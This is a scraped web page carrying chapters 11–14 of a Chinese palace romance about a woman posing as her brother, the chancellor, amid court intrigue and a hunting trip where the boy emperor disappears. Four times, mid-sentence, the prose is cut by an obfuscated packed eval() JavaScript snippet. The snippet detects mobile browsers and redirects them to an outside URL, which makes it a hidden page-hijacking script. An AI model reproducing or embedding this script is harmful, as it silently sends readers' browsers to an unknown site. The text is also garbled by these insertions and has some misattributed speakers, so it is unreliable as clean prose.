昔日好友再见，她要担心的竟不是如何迎接，而是如何欺瞒与提防。 思及此，唇边不自觉扯出一个自嘲的弧度，轻叹着将请帖重新合上。 … 宴会当日，明姝乘着车撵来到紫宸殿。 下首两列座位整齐排开，依着惯例，她还是坐在萧肆身旁。 面前的矮脚案几上摆着几盘精致的点心，琉璃盏中盛的本该是酒酿，礼部的人考虑到她身子虚弱，特意事先换成了茶水。 身侧男人一身玄色锦袍，高大的身量端坐于案几前，眉宇间带着淡淡冷色，其余情绪都潜藏于那双瑞凤眼下，从不外露。 自醉香楼一事，二人再无交集，如今见了，也只是互相寒暄一句，再没了下文。 明姝料想对方已经打消了怀疑，才不像先前那般逮着机会便要试探。 如此，她总算能轻松一些了。 “卫小将军来了！” 不知谁人喊了一句，四下谈笑声纷纷止住，几十双目光投向殿外。 明姝随众人一同看去，男子颀长挺拔的身影踏入殿中，常年行军也消磨不去的风发意气，与多年前记忆中的面庞渐渐重合，让她一时恍了心神。 “臣卫平澜，参见皇上、参见太后。” 燕州一捷，使得缅北元气大伤，十年内不能起兵进犯，不仅保住了永安领土，岭北一带的百姓也不用再担惊受怕乃至举家逃散。 永安能出这么一位这般年轻骁勇的将军，太后甚是欣慰，连忙唤人平身，“卫将军大败缅北，如今是我永安的功臣，哀家特地让礼部置办这洗尘宴，还望卫将军能够尽兴，切莫拘谨。” 明姝坐在小皇帝的左手边，而卫平澜的座位刚好在她的正对面。 落座后，两道视线不可避免地汇于一处，卫平澜认出她是明玦，笑着晃了晃手腕处的伤疤。 八年前，他们三人偷溜到山中玩耍，不慎碰上一匹白狼，卫平澜为了保护她和阿兄，搏斗之时留下了这道伤疤，于是约定长大后便凭这伤疤来认出彼此。 原来他都还记得。 那笑容委实太过惹眼，看得明姝有一瞬间的失神，她用指尖掐了掐自己的手心，故作从容地回之一笑。 心却无端跳得厉害。 萧肆察觉到二人之间的小动作，眸光轻闪，并未放在心上。 倒是一旁沈遥枫，向来对别人的闲事最感兴趣，看见二人这般眼神往来，不由得挑了下眉尾。 直觉告诉他，这二人之间定有猫腻。 一个是丞相，一个是将军，啧啧…… 像是嗅到了什么乐子一般，沈遥枫的眼神在二人身上来来回回，手中把玩的玲珑骰一个不慎便滚了出去，骨碌碌地正停在明姝脚边。 他这才回神，探身向前，隔着萧肆用气音朝她低声喊道：“丞——相——大——人——” 殿中琴乐之声不绝于耳，一连喊了好几遍，终于引起了明姝的注意。 沈遥枫指了指她脚边的玲珑骰，而后双手并拢做出接东西的动作。 明姝很快心领神会，捡起玲珑骰，小心瞄准着抛了回去。 “叮——” 玲珑骰在萧肆端到唇边的酒盅里打了个转，清脆声响在乐声掩盖下并不引人注目，却让三人同时愣在原地。 看着几滴酒水飞溅在萧肆脸上，明姝的心几欲提到了嗓子眼。 糟了…… “我的玲珑骰！” 沈遥枫从萧肆手中夺过酒盅，悲痛地看着自己的宝贝就这么被泡在了酒里，“这可是我花重金从胡商那儿卖来的，整个永安就这么一颗！” 明姝贝齿轻咬着唇瓣，硬着头皮将自己的茶盏递了过去，“实在对不住，王爷不介意的话，可以喝我这杯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105296|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她刚想解释自己并未碰过，萧肆便已接过侍女递来的手帕，慢条斯理地擦去嘴边酒渍，连正眼都不曾看她一眼。 “本王没有用别人东西的癖好。” “……”如此，明姝只能收回茶盏，案几下的双手不由得攥紧了袖角。 至于沈遥枫那边…… 她侧头看了眼邻座的邻座，见他正在用帕子宝贝似地擦着玲珑骰，不由得叹了口气。 看来她不仅得罪了萧肆，还得抽个时间给沈大人配个不是。 原本见到卫平澜的大好心情被浇灭了大半，台下乐师换了一批又一批，她却无甚兴致欣赏，待到宴席结束后，随众人一同离开了紫宸殿。 日渐西沉，薄暮生金。 明姝沿丹墀缓缓而下，忽而有人揽住她的肩膀，那力道险些将她推下阶去，又将她稳稳拉回在原地。 “明兄，好久不见啊。” 见是卫平澜，明姝忙后撤一步与他保持距离，自女扮男装后，她一直都提防着与人亲密接触。 “好久不见，祝贺卫兄凯旋而归。” “明兄还是这般见外。”卫平澜用手比了比她的个头，即便鞋里垫了几层草垫，也将将到他的鼻尖，“先前在江南的时候，明兄还比我高上一些，如今倒是不如我了。” 卫平澜随军奔走多年，比同龄男子都要高出一个脑袋尖，明姝略一目测，便知他长得比阿兄还要高出不少。 “说来惭愧，这些年我身子愈发虚弱，卧床十天半个月也是常有之事。” 卫平澜笑道：“无妨，反正我身子骨硬朗，往后明兄想去什么地方，我带明兄去便是，不过到时可别忘了喊上阿姝。” 听他提起自己，明姝心头微颤，声音不自觉放轻了许多，“阿姝还在江南，一时半会儿应该来不了京城。” “这样啊。以前我还答应等她来京城，带她骑马去山上打猎呢，不知这么多年过去了，她有没有把我给忘了。” “自是不会。难得卫兄还惦记着此事，阿姝若是知道定会十分高兴。” 身后不远，沈遥枫直勾勾地盯着那两道身影，摸着下巴沉吟，“丞相与小将军聊得这般熟络，不像是头一回见面啊。” 萧肆淡道：“卫家与明家本就是世交，卫平澜先前在江南养伤时，也曾在明家借住过一段时间。” “王爷调查得可真清楚，怪不得他们方才在宴上眉来眼去，王爷一点儿都不觉得奇怪呢。” 二人不知又聊到了什么趣事，同时低眉笑了起来，沈遥枫恨不能把耳朵凑过去一听究竟，“他们说什么呢这么高兴，丞相来京左右也有一阵子了，我还从没见他这般笑过呢。” 闻言，萧肆再度看去，淡金色的薄辉笼在那道月白色身影上，因笑而弯起的眉眼好看得有些不像话。 他承认明玦确实长了一副好皮囊，但并不觉得这笑有什么不同之处，“这般是哪般？” “发自真心的笑啊，丞相每次和王爷在一起的时候，面上虽然笑着，但那笑里一半是礼节一半是疏远，就像……” 沈遥枫沉吟半晌，终于想到一个合适的措辞，“像见了瘟神一样。” 用词虽难听了点，倒是说得不偏不倚，让人无话可驳。 萧肆瞥他一眼，“沈大人这般敏锐，不如帮大理寺多查几桩案子。” 说起查案，沈遥枫丝毫没有作为大理寺卿的觉悟，又厚着脸皮跟上前去，“王爷先前不是怀疑丞相的身份有假吗，查得如何了？” “如今看来，并无问题。” 陆尧驱车在外恭候已久，萧肆上了轿撵，在身后人跟来前落了轿帘。 窗外一青一白两道身影依旧相谈甚欢，在辘辘车声中逐渐消失在身后。 原本他心中尚有一丝怀疑，但如今卫平澜的出现，反倒为明玦彻底坐实了身份。 11. 关系 自洗尘宴过后，京中又一连下了几日小雨，似是要迎合着“洗尘”一说，将大街小巷都洗了个清明。 “咻——” 一箭堪堪射在靶子的边缘，白九激动地在一旁鼓掌，“中了中了！大人的箭真是越来越准了！” 明姝有些无奈一笑。 练了半个下午，十箭中有九箭脱靶，原以为读书不是件容易的事，如今看来，习武之人也不遑多让，像萧肆那般随随便便就能射中靶心，背后不知要苦练多少年的时间。 府外传来叩门声，想必是放在制衣坊改制的官服送到了，白九跑去开门，明姝继续拉弓搭箭，不等白九走到门口，这一箭便又脱了靶。 看来她天生就不适合这一行。 叹了口气，取出箭筒中最后一支，她聚精会神瞄着箭靶，举了太久以至于手臂愈发颤抖，无论如何也对不上靶心。 倏然，有人从身后替她稳住弓身，一只手握在她拉弓的手上，微微上抬。 “今日风大，须得向上一些。” 清透的男声落入耳中，明姝浑身一僵，回过神时箭已离弦而去，正中靶心。 “喏，是不是很简单？”卫平澜知道他这人有些洁癖，不喜欢别人碰自己，射完一箭便识相地松开了手。 明姝面上微烫，将被磨红的手指藏在身后，“卫兄今日怎么得空来相府了？” “将军府的事已经忙得差不多了，便想着四处看看，倒是你，怎么忽然对射箭来了兴趣？” 犹记得八年前，他在明家院子里练剑，明玦则在一旁树下看书，无论他好说歹说，这人都不肯同自己习武，一本书一盏茶，一坐便是一整日。 或许是明家人的天性，明姝和阿兄一样不爱舞刀弄枪，只是因为小皇帝喜欢，才不得不尝试着接触。 “随便摆弄摆弄，让卫兄见笑了。” “我可不会取笑你，若你想学，我教你便是。” 卫平澜在校场上练兵多年，是个再好不过的师父，可惜她今日练了太久，手臂实在酸痛，即便是有心也无力了。 “改日，改日我定向卫兄求教。” 卫平澜轻挑了下眉尾，玄青色便服衬得腰身格外挺拔，“那作为报酬，今日陪我去市集上逛逛如何？” “就……你我二人？” 明知卫平澜把自己当做明玦，但面对这样的邀约，明姝还是犹豫了。 除了萧肆，她还从未与阿兄以外的男子单独出过门。 况且萧肆不同，萧肆约她出去纯粹是想置她于死地。 见她这般磨磨唧唧，卫平澜耐心告罄，干脆将人拉走，“好了好了，别犹豫了，难道有本将军在，还需要带侍卫不成？” 在江南时，卫平澜外出从不坐车，也不带侍卫，总喜欢骑着高头大马在街上穿行，小小年纪便引得一众姑娘侧目。 而今不知是他变了，还是考虑到明玦的身体状况，此次来相府竟是乘的马车。 车身随马蹄晃动，明姝抬起帘子一角，看到街上行人还是一如既往的熙攘。 说来惭愧，她到京城也有些日子了，但出门的次数屈指可数，认识的人更是寥寥无几，除了白九，身边连个能结伴出行的人也没有，卫平澜恐怕是唯一一个了。 “不知卫兄想买些什么？” “棺材。” 明姝微微一怔，目光从窗外收回，卫平澜淡然一笑，解释道：“与缅北一战，军中将士死伤无数，我没能保护好他们，但至少要让他们体面地回家。” 马车最终停在北市，她跟着卫平澜来到巷角一处不起眼的棺材铺，厚重的棺材左右两列排开，阴冷潮湿之气让人胸口发闷。 来这里的大多都是失去亲人的百姓，时而几声啜泣传入耳中，与周遭的繁华喧嚣格格不入。 明姝悄悄看了卫平澜一眼，那张意气风发的面庞不知何时也收敛了笑意。 “与缅北一仗，应该打得很辛苦吧？” 卫平澜不置可否，只是笑笑，扒开领口露出一圈尚未消退的红斑，“原本不必那么惨烈，谁知燕州突发瘟疫，前线将士们兵败如山倒，短短几日便堆骨成山，险些将燕州拱手相送，说起来，此事还得多谢明兄。” “谢我？” “染上瘟疫的人大多活不过半月时间，原先我以为自己再也回不了京城了，直至宫里传来明兄赴任丞相的消息，那时我便知这一仗绝不会输，只要我再多坚持一会儿，以明兄的聪明才智，定能为燕州军带来一线生机。” 明姝这才明白，他指的是自己在殿上提出让商队来运送朱果的对策，没想到寥寥几句话，竟救了卫平澜和诸多将士的性命。 “明兄。”卫平澜突然停下脚步，微微俯身将一只手搭在她的肩膀上，“有你在，相信百姓们一定都能过上好日子，在外征战的将士们也能早日回到家园。” 短短几句话，落在明姝耳中恍若千斤重，那道目光太过真诚，以至于她生出了逃避的念头。 过往十数年，她从未关心过朝堂之事，也从不觉得他人生死与自己有关，而今第一次切身体会到，身居高位之人肩负的是万千百姓的命运。 可她根本不是明玦…… 看着卫平澜挑选棺材的背影，明姝喉咙微动，却一句话都说不出口。 离开北市已是申时，好巧不巧碰上了沈府的马车，明姝借着机会向沈遥枫赔了不是，对方倒是豁达，早就把玲珑骰的事忘到了九霄云外，还说自己已经物色到了更有意思的宝贝，下次有机会让她也瞧瞧。 如此，明姝心里好受了许多，心中感慨若是朝堂之人都像沈遥枫这般不计前嫌，不藏心机，她也不必整日如履薄冰了。 道别过后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105297|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈遥枫让车夫调头去了秦王府，一刻也忍不住要将此事告诉萧肆。 “丞相和卫将军一同去了市集？” 彼时萧肆正在院中听陆尧禀报政务，冷不丁听他横插一嘴，不由得眉头微蹙，“与本王何干？” “我有一个大胆的猜测。” 沈遥枫吞了吞口水，一副见不得人的模样，凑近了道： “丞相他……” “很可能是断袖。” “……” 萧肆料到他狗嘴里吐不出象牙，眼皮抬也没抬，倒是一旁的陆尧吃了一惊：“沈大人何以见得？” 对此，沈遥枫只有两个字回答：“直觉。” 他别的不行，但直觉一向准得可怕，虽然连他也不相信丞相会是断袖，可直觉就是告诉他，这个人身上藏着不可告人的秘密。 若真是兄弟之情，卫平澜搂他的肩膀时，他为何那般急着保持距离，若是觉得讨厌，又为何看向卫平澜的眼神中没有一丝厌恶呢？ 陆尧思忖了一会儿，点头道：“听沈大人这么一说，好像还真有几分道理。” 萧肆抬眸扫他一眼，“他只说了两个字，有什么道理？” “王爷您有所不知，沈大人的直觉一向很准，赌场里的那些人见了他拔腿就跑呢，而且先前在醉香楼里，丞相对那些女子要多抗拒有多抗拒，完全不像正常男子该有的反应啊。” 沈遥枫讶然：“竟有此事？” “千真万确！” 如此，沈遥枫更加笃定自己的猜测，拍着胸脯保证道：“一月之内，我必找到确凿证据，王爷您就等着瞧吧！” 萧肆觉得好笑：“他喜欢男人还是女人，又与本王有何干系？” 上次拜访相府时，明玦确实有一只女子的发簪，说是送给自家妹妹的，乍一听没什么问题，但他解释时目光闪躲，像极了不擅长撒谎的人强撑着撒谎。 不过两派之争，卫家始终处于中立，只要卫平澜不是太后的人，哪怕是和明玦睡在一张床上，他也毫不在意。 沈遥枫一时语结，就好像自个儿兴致高涨地说了半天，结果对方根本没当回事。 “你这个人就没有哪怕一丁点的好奇心吗？” 这世上怎么有人生得跟木头一样！ 陆尧斟酌着开口：“王爷，这好像跟您还真有点儿关系。” “是吗。”萧肆翻阅着手中的卷册，随口问道，“本王怎么不知自己与丞相有什么关系？” 陆尧看了看他，又看了看沈遥枫，小心掂量着开口：“上次在诏狱的时候，您不是说跟丞相攀不上关系吗，若丞相是断袖，您这不就……” “啪——” 卷册倏然合上，沈遥枫知道这是不详的前兆，连忙拽着陆尧离开了院子。 好家伙，居然有人比他还口无遮拦！ 12. 同吃同睡 窗开半扇，夜风拂凉，忽而吹熄了案前灯烛，片刻昏暗后又被人仔细点上。 明姝拢了拢外衣，重新坐了回去，手中的律法不知被来来回回翻了多少遍，已经皱得不像样子，可人依旧还是不肯歇下。 白日里卫平澜的话在脑中总也挥之不去。 ——有你在，相信百姓们一定都能过上好日子，在外征战的将士们也能早日回到家园。 若是阿兄，自是能够做到，可她…… 虽然养在深闺，但她清楚丞相对于一个国家而言有多重要，倘若只是尸位素餐，无所作为，又能指望谁为百姓谋福？ 起初，她只是想让明家有个依靠，以免重蹈前世之辙，如今才意识到，自己这个丞相实在寄托了太多人的厚望，她不能只顾着保护明家而负了万千百姓。 风吹得烛火左右摇晃，映得书上密密麻麻的字忽明忽暗，明姝有些疲惫地揉着太阳穴，心中积压了太多心事，无论如何也看不进去了。 窗外明月高悬，正是由盈转亏之时，想起明日便是十九，她起身熄了灯烛，决定还是早些歇下为好。 - 翌日，明姝起了个大早，白九来屋中叫她起床时，人已经在妆镜前换好衣裳了。 皇帝每月十九都会到秋山打猎，这已是京城皆知之事，为了保证皇帝的安全，禁军会提前三日封山，并确保山中空无一人。 朱雀大道上，层层禁军护着车队向秋山行进，明姝与萧子瑜同乘一车，气氛算不上融洽，但也不至于太过僵持。 多亏这些日子她又当丞相又当太傅，对方总算是没那么排斥她了。 车帘随车身左右摇晃，时而晃开一道空隙，得以窥见马背上的高大身影。 黑衣劲装衬得人腰身挺拔，护腕与腰封处用银丝勾出飞禽走兽，颇有几分武将气度。 自洗尘宴后已经过了七八日时间，她还是头一次见到萧肆，虽然对方已经放下了对她的怀疑，但这两日还是要格外警惕才行。 经过两个时辰的路程，禁军最终驻扎在秋山脚下，据说是皇帝不喜欢被人守着，特意要求无关之人不得上山。 起初，太后坚决不同意他与萧肆单独相处，后来次数多了，便也不再插手了，毕竟以萧肆的精明程度，即便有篡位的野心，也不会蠢到让自己的手上沾血。 离了禁军的视线，萧子瑜就如同脱了僵的野马，左一声皇叔右一声皇叔催萧肆带他去打猎，二人就这么骑马进了密林深处，徒留明姝一人在营帐中。 如此，她反倒松了口气，若他们非要拉上自己，还得费心思琢磨个借口推辞。 毕竟她连骑马都不会。 营帐是禁军事先搭好的，防止深林野兽出行，特意选在了一片平坦开阔之地，抛开其他不谈，此处山风送爽，风景甚佳，倒是个散心的好地方。 明姝深深吸了口气，淡淡的青草香味让人心情愉悦了不少，她虽然不能骑马打猎讨小皇帝欢心，但也并非全无准备。 叔侄二人一去便是几个时辰。 回来时天已经黑了大半，疏星淡月，自枝叶间洒下一地斑驳。 萧肆单手握着缰绳，在马背上缓辔而行，营帐旁亮着篝火，在一片幽静中轻跳着踊跃。 火光映着不远处的清瘦身影，在那张过分好看的侧脸笼下一层柔和的淡金色。 少顷，他收回目光，翻身下马，明姝闻声看去，起身颔首道：“陛下、王爷。” 萧肆解下护腕，径直从她跟前走过，墨衣卷起一阵细小的风掠过她的鼻尖，压迫感让她不由得将头更低了些。 萧子瑜跟在他的身后，小嘴撅得比天高，明姝看到他手中只提了只巴掌大的鸽子，很快了然于心，“陛下今日猎到了什么？” 萧子瑜将手里的鸽子往她脚下一丢，看得出对此行战果十分不满，本想找借口说林里的野物都跑光了，可萧肆那边明明射中好几头鹿。 明姝道：“臣今日猎到了一只白鹿，陛下要不要瞧瞧？” “骗子。这山里根本就没有白鹿。”说罢，又上下打量了她一眼，“况且你连弓都不会拉。” 萧子瑜说话还是那般不留情面，明姝早已习以为常，将自己画了一下午的白鹿拿给他瞧。 “这是……你画的？” “正是。” 虽说画得栩栩如生，但毕竟还是假的，萧子瑜嗤之以鼻，“这算哪门子的打猎？” 明姝不以为然：“陛下与王爷猎的是林中的鹿，可以用来充饥饱腹，而臣猎的是画中的鹿，可以用赏心悦目。陛下想不想试试？” 萧子瑜冷眼看着她递来的笔，丝毫没有伸手的打算，“朕可不会摆弄这些东西。” “无妨，陛下想要什么样的猎物，臣来帮陛下画便是。” “幼稚。” 萧子瑜嘴上说着不感兴趣，身体却老老实实地站在一旁，看她寥寥几笔便勾出一个大致的轮廓来，忍不住开口：“太小了，就不能画得大一点吗？” 明姝蘸了蘸墨，将轮廓改大了一圈，又听他道：“尾巴太短了，这边再加两只爪子，唔……头上再加个眼睛，要很凶的那种。” 要求愈发荒谬，明姝全都照画不误。 那厢，正在生火的萧肆瞥了二人一眼，以往打猎回来，萧子瑜都会吵着喊着说自己肚子饿，今日倒是安静多了。 大功告成，明姝忍不住惊叹出声：“天呐……” 画中的“猎物”长着三只眼睛六只腿，脑袋和身体一般大，尾巴还是半截红色接了半截绿色，任谁看了都觉得不伦不类。 “怎么了？” “臣先前在山海经里看到过，这可是上古四大凶兽之一的梼杌，陛下今日真是不虚此行！” “……”萧肆翻了个白眼，“丞相知道朕最讨厌哪种人吗？” “哪种？” “把朕当三岁小孩哄的人。”说罢，萧子瑜不再理会她，跑到萧肆身边催着要吃东西。 明姝低眉抿唇一笑，跟萧子瑜相处多了，她知道此人只是嘴巴毒了些，实际上还是小孩子心性，只要夸一夸，很快就把不高兴的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105298|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事抛到九霄云外了。 萧子瑜站在萧肆身旁还不及他的腰线，双手扒着桌沿，借力踮脚露出半个脑袋，“皇叔皇叔，今日我要吃一整只羊腿。” “好。”萧肆垂眸看了他一眼，看出他心情比回来时好了不少。 看着萧肆忙前忙后，明姝也想搭把手，可犹豫再三还是作罢，她不善野炊，到时若是笨手笨脚的，反而会遭了他的嫌弃。 一盏茶的功夫，猎物已经被大卸八块架在了火上，炊烟袅袅升起，肉被烤得滋滋作响，三人围坐在一旁，踊跃的火光将面庞映得忽明忽亮。 肉香飘出几里开外，明姝的肚子不争气地叫了两声，却没有要吃的打算，只是眼睁睁看着他们二人大快朵颐。 萧子瑜啃着手里的羊腿，顺势瞥了她一眼，“丞相为何不吃，不喜欢吃鹿肉？还是嫌朕的鸽子太小了？” “没有没有，臣哪里敢嫌弃陛下……” 明姝不知如何解释，她娇生惯养了十几年，平日里吃的都是精制膳食，最不济的时候也能喝些白粥，倒不是看不上这些猎来的野物，只是一时半会儿下不了口。 “丞相若是饿死在这荒山里，可没人给你收尸。”萧子瑜边说边将烤熟的鸽子递到她面前，两只干瘪的眼睛让她头皮有些发麻，犹豫着伸手接过。 “好吃吗？” 明姝强忍着咽下，挤出一个稍显僵硬的笑，“好吃。” 萧子瑜被她的表情逗乐了，道：“丞相笑得可真难看，还是别笑了。” “……”明姝哽了下，笑也不是，不笑也不是，只能低下头去。 小小年纪，嘴巴却像淬了毒似的，在这方面，萧家人还真是褎然居首。 硬着头皮吃完一整只鸽子后，她借整理床铺的由头回了营帐，刚松下一口气，看着营帐里的三张紧挨着的床铺，又犯起了愁。 料到女扮男装入朝会困难重重，却没料到要与两个男人住在一起，且这两个家伙一个赛一个精明，今夜是一刻也不敢阖眼了。 幸好萧子瑜睡在二人的中间，小孩子心性单纯，没那么多心眼。 至少，没萧肆那么多。 明姝不动声色将自己的床铺向外拉了些，让月光勉强照在床尾，又搬了几本书放在一旁，打算等他们二人睡着后，起来看书消磨时间。 萧肆一踏入营帐便看到她在床边忙活，虽未出一言，但明姝还是觉得心虚，手上动作都不自觉收敛了许多。 离开江南前，阿兄嘱咐最多的便是远离秦王，她也一直在尽力回避，结果现在竟到了同吃同睡的地步。 也不知究竟是哪一步出了岔子。 篝火浇灭后，泠泠夜色中只余一方清浅月光。 虽是合衣而寝，但毕竟身旁躺着两个男人，动作稍微大些便容易碰到彼此，明姝一边假意感叹夜里好冷，一边用被子将自己裹得严严实实，背朝着萧子瑜一动不动。 看似睡了过去，实则连眼睛都未曾合上，阒静之中甚至听得到自己的心跳。 注定是漫长的一夜。 13. 猛兽 明姝原本盘算着夜里起来看书，可白日里舟车劳顿，身子太过疲惫，丑时方过，便已经困得眼皮子打架了。 唯一让她保持清醒的只有胃中传来的不适感。 医书中曾记载，日常饮食清淡的人，若是冷不丁吃些大鱼大肉，身体便会出现不适，想来她便是这种情况。 身后响起细微的打鼾声，明姝轻轻转过头去，见萧子瑜睡得正香，半条腿横到了她的床铺上，让她连翻身的余地都没有。 犹豫片刻，她将萧子瑜的腿放回被子里，目光越过他看向萧肆。 后者仰面朝上，双目闭阖，看样子已经睡过去了。 胃中愈发不适，她终于忍无可忍，起床挑起一盏提灯，摸黑朝着茅房走去。 茅房与营帐隔着一小片密林，因着白日里去过一两次，还算轻车熟路，只是深夜林中伸手不见五指，重重叠叠的枝叶遮去了大半月光，走在其中总觉得阴风阵阵，脊背没来由地发凉。 明姝有些胆量但不多，一路上都惴惴不安地握着提灯，直至从茅房出来，胃中不适终于减轻，只是在林中东转西转，一时间已分辨不出回营帐的方向。 忽的，不远处传来拨动灌木的声响，她心中咯噔一下，慌忙熄灭了手中提灯，屏息凝神。 不是风声，而是有什么东西在走动。 山下有禁军看守，旁人绝无可能上山，莫非是夜间野兽出没…… 她又想起八年前自己同卫平澜上山游玩，险些成了白狼的口中餐，凶面獠牙朝她扑来的模样每每回想都心惊胆颤。 脑中逐渐被恐惧占据，浑身开始止不住地颤抖，在这片月光照不进的密林中，危险似乎正在一步步靠近。 四下一片漆黑，明姝不敢乱跑也不敢出声，背靠树干缓缓蹲下，抱膝将头埋在□□，抖如筛糠。 走动声一波未平一波又起，时而远去，时而又靠近，汹涌而来的恐惧感几欲要将她吞噬。 不知过了多久，一束光亮撞破了夜色，影影绰绰照在她的身上。 明姝颤巍巍地将头抬起，昏黄灯火中，对上一双深不见底的眼眸。 面前男人身量高大，灯火拉长的影子笼了她满身，本该是最畏惧的人，这一刻却如同从天而降的神祇。 “迷路了？” 萧肆的嗓音染了些久睡的沙哑，见她愣神般地望着自己，不由得轻皱了下眉头，“丞相若是喜欢在这里过夜，倒是本王多管闲事了。” 说罢，他转身要走，明姝连忙起身，慌乱之中拉住他的衣袖。 “附、附近似乎有野兽，我同王爷一起回去……” 萧肆微微侧目，看到那张略显苍白的脸，猜到她是迷了路，且一个人在这儿吓得不轻。 倒是比他想象中还要胆小。 一路上光线昏暗，杂草横生，明姝不得不掂起衣裾，每一步都走得格外小心，加上惊吓过度双腿发软，眼看就要被萧肆甩在身后，她终于忍不住开口：“王爷慢些……” 萧肆置若罔闻，明姝只能咬牙紧跟，几次险些都险些被绊倒，直至远远望见营帐，总算能停下脚步喘几口粗气。 突然，身前人也停了下来，转身朝她缓缓走近，迎面而来的压迫感让她的心再度揪了起来，下意识后撤两步。 “王、王爷……” 瞧她跟受了惊的兔子一样，萧肆又想起沈遥枫那句“瘟神”，不由得冷笑出声，抬手替她掸去肩上的飞虫，嘴上不忘奚落：“丞相胆子不大，变脸的速度却是不容小觑。” “……”明姝心有余悸地看向落在脚边的飞虫，认出那是山中常有的毒蝇，再抬眼，那道身影已经快要走出视线了。 她提脚跟上，解释的话在嘴边转了一圈又吞了回去，回到帐中发现萧子瑜不见了踪影。 “陛下呢？” 营帐中算不上宽敞，有没有人一眼便知，萧肆蹙眉蹲下身去，用提灯照出一串模糊的脚印，“有人来过。” 明姝惊愕：“山下禁军戒备森严，有谁会来过？” 萧肆捡起脚印旁散落的叶子，认出是生长在山崖的三蕨草，“从悬崖爬上来的。不止一人。” 禁军只驻扎在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105299|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北面山脚，而南面是数丈高的悬崖，虽说翻越要冒着九死一生的风险，但也并非没有可能。 “从悬崖……翻过来的？” 若真是如此，少说也要花上两三日时间，禁军前不久还四处搜查过，确保山上空无一人，这些不速之客定是掐算好时机来的。 明姝心中愈发有种不祥的预感，萧子瑜尚且年幼，身上又没有防身之物，若是有个什么三长两短…… “陛下可能有危险，我们得马上找到他才行！” 见萧肆面不改色，也没有要动身的意思，明姝只觉一口气哽在喉中：“王爷就不担心陛下的安危吗？” 萧肆眼睫微垂，冷眼看着她焦急的模样，不答反问：“丞相看上去倒很是担心，不知究竟是担心陛下的安危，还是担心无法向太后交差？” 明姝微微一怔，随后有些恼火，事已至此，对方竟还有心思与她玩弄心计。 念在小皇帝还下落不明，她没功夫与他浪费口舌，“自是担心陛下的安危，还请王爷莫要以小人之心度君子之腹，若王爷不愿去找，我自己去便是。” 说罢转身要走，萧肆也不阻拦，只不轻不重地提醒：“丞相记得小心山中野兽。” “……”明姝脚下一顿，这才想起林中还有野兽逡巡。 她一介弱女子，若身旁无人保护，遇上野兽定是凶多吉少，说不定小皇帝安然无恙，反倒她自己先丢了小命。 可若换了旁人，她还会尝试着劝说一番，萧肆此人无情至极，想来说什么都无济于事。 一番内心挣扎后，她还是硬着头皮往外走。 忽而，宽大的手掌擒住了她的手腕，毫不客气地将人拽了回去。 错愕回头，撞入一双暗藏幽光的眼底。 那双瑞凤眼中深不可测，让人摸不清也猜不透，薄唇轻启间，低沉而轻哑的嗓音在耳边响起。 “看来丞相为了陛下，可以连命都不要。” “既然如此……”颀长的身影缓缓逼近，他微微俯身，目光似要将她看透，“丞相何不为本王卖命？” 14. 良木 萧肆的身形遮去了大半光亮，周身压迫感让明姝不自觉屏住了呼吸，指甲掐进肉里才堪堪定住心神。 “萧子瑜一死，本王便是萧家唯一的血脉，丞相是聪明人，应该明白择良木而栖的道理。” 明姝不是不明白他话中之意，只是有些不敢相信。 一旦小皇帝驾崩，萧肆便是唯一能够登上皇位之人，届时太后失了权势，以他心狠手辣的程度，太后一派的人都休想幸免于难。 包括她在内。 萧肆这是在收买她，也是在威胁她。 一瞬间，明姝觉得眼前人比自己想象中的还要无情，还要可怖，他们就像是站在两个极端上的人，一个为了保护亲人舍身入京，一个为了追求权势，恨不能将亲人赶尽杀绝。 更何况，萧子瑜还只是个十岁不到的孩子，每每见到他这个皇叔都会高兴得手舞足蹈。 明姝简直不能理解他的行径。 “难道在王爷心里，对陛下就无半点亲情可言？” “亲情？”萧子瑜似是冷不防听了个笑话，无甚笑意地掀了掀唇，“若在朝堂里谈亲情，你觉得本王还能活到现在么？” “……”明姝觉得此人已经绝情到无药可救，将被捏红的手腕从他掌中抽出，“王爷方才所说，恕明某不会考虑。” 